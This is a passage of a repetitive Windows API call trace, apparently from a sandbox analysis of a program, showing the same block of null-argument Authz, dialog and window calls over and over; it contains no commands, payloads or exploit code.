[0025.687] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.687] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.687] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.687] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.687] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.687] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.687] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.687] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.687] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.687] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.687] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.687] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.687] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.687] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.689] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.689] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.689] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.689] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.689] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.689] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.689] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.689] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.689] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.689] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.689] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.689] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.689] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.689] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.689] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.689] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.689] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.689] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.689] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.689] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.689] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.689] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.689] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.689] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.689] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.689] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.689] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.689] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.689] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.689] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.689] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.689] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.689] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.689] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.689] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.689] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.689] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.689] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.689] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.690] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.690] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.690] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.690] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.690] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.690] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.690] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.690] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.690] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.690] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.690] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.690] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.690] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.690] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.690] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.690] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.690] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.690] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.690] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.690] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.690] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.690] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.690] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.690] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.690] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.690] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.690] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.690] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.690] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.690] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.690] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.690] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.690] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.690] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.690] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.690] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.690] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.690] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.690] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.690] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.690] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.691] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.691] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.691] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.691] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.691] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.691] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.691] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.691] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.691] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.691] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.691] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.691] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.691] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.691] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.691] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.691] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.691] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.691] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.691] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.691] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.691] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.691] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.691] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.691] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.691] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.691] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.691] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.691] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.691] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.691] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.691] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.691] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.691] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.691] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.691] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.691] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.691] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.691] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.691] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.691] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.691] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.691] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.692] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.692] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.692] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.692] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.692] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.692] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.692] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.692] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.692] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.692] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.692] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.692] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.692] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.692] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.692] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.692] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.692] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.692] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.692] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.692] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.692] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.692] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.692] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.692] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.692] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.692] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.692] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.692] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.692] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.692] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.692] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.692] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.692] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.692] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.692] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.692] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.692] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.692] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.692] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.692] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.692] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.692] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.693] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.693] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.693] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.693] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.693] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.693] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.693] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.693] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.693] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.693] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.693] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.693] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.693] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.693] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.693] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.693] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.693] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.693] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.693] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.693] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.693] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.693] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.693] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.693] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.693] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.693] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.693] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.693] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.693] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.693] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.693] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.693] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.693] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.693] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.693] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.693] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.693] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.693] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.693] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.693] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.693] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.694] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.694] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.694] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.694] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.694] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.694] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.694] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.694] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.694] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.694] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.694] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.694] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.694] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.694] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.694] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.694] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.694] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.694] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.694] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.694] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.694] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.694] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.694] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.694] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.694] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.694] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.694] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.694] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.694] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.694] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.694] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.694] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.694] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.694] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.694] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.694] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.694] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.694] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.694] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.694] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.694] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.694] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.695] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.695] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.695] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.695] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.695] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.695] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.695] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.695] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.695] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.695] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.695] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.695] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.695] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.695] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.695] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.695] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.695] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.695] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.695] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.695] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) 